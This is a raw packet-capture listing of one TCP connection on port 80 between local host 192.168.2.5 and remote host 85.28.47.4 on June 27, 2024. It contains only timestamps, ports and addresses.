Jun 27, 2024 07:37:17.411266088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411277056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.411333084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.411333084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.411860943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411865950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411875963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411880970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411890984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411895990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411900997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411906004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411911964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411916971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411922932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411927938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411953926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.411953926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.411992073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.412286997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412492990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412499905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412503958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.412512064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412517071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412523031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412528038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412532091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412537098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412547112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412552118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412553072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.412556887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412561893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412566900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412575960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412580967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412589073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412592888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.412599087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.412636995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.412636995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.413275957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413281918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413290977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413297892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413301945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413350105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.413414955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413419962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413429976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413434982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413450956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413455963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413465023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413480043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413490057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413495064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413496017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.413505077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413510084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413512945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.413515091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413520098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413526058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.413531065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.413563967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.413578033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.414378881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414385080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414395094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414401054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414408922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414414883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414423943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414429903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414433956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414439917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414444923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.414450884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414463043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414468050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414479017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414483070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414488077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414494038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414505005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414508104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.414510012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414515972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.414535046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.414547920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.415246010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415251017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415261030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415266037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415271044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415275097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415280104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415285110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415288925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415299892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415304899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415309906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415316105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.415328979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.415328979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.415358067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.415396929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.497160912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497181892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497186899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497193098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497297049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497303963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497317076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497323036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497402906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497486115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497490883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497497082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497502089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497549057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.497596979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.497617960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497625113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497637033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497643948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497658968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497663975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497677088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497698069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.497698069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.497740030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.497797966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497879028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.497900009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497905970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497917891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497924089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497930050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497937918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.497966051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498019934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498076916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498084068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498090029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498142004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498222113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498226881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498239994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498245955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498251915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498256922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498274088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498294115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498296976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498303890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498315096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498322010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498327971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498356104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498356104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498409986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498645067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498651028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498678923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498729944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498729944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498786926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498792887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498804092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498810053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498821020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498828888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498887062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498887062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.498979092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.498985052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499053001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499074936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499080896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499088049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499094009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499104977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499111891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499116898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499128103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499166012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499166012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499346018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499353886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499366045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499372005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499414921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499453068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499485970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499491930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499502897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499509096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499514103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499530077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499533892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499540091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499546051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499555111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499562025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499568939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499572992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499578953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499584913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499591112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499596119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499608994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499613047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499613047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499624014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.499660969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.499686003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.500334024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500339985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500350952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500355959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500361919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500369072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500384092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500390053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500396013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500401020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500417948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500417948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.500427008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500432968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500438929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500449896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500456095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500463009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.500467062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500475883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500478029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.500494957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500504017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500510931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500513077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.500516891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.500533104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.500581980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.501095057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.501101971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.501113892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.501198053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.552690983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.557605028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727336884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727346897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727359056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727420092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727458000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727464914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727530003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.727530003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.727622032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727628946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727633953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727639914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727649927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727704048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.727704048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.727790117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727840900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.727897882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727906942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727910995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727916002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727926970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727932930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727937937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.727982998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.727982998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.728154898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728162050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728172064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728200912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728207111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728212118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728221893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728229046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728235006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.728235006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.728285074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.728612900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728621960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728629112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728634119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728640079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728652000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728658915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728665113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728676081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.728734016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.728899002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728905916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728916883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728924036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728974104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.728981972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728992939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.728998899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729008913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729013920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729026079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729077101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.729077101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.729506969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729513884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729526043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729532003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729537010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729543924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729556084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729562044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729568958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729568958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.729573965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729585886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.729633093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.729651928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.730046034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730051994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730062962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730068922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730074883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730079889 CEST	80	49705	85.28.47.4	192.168.2.5
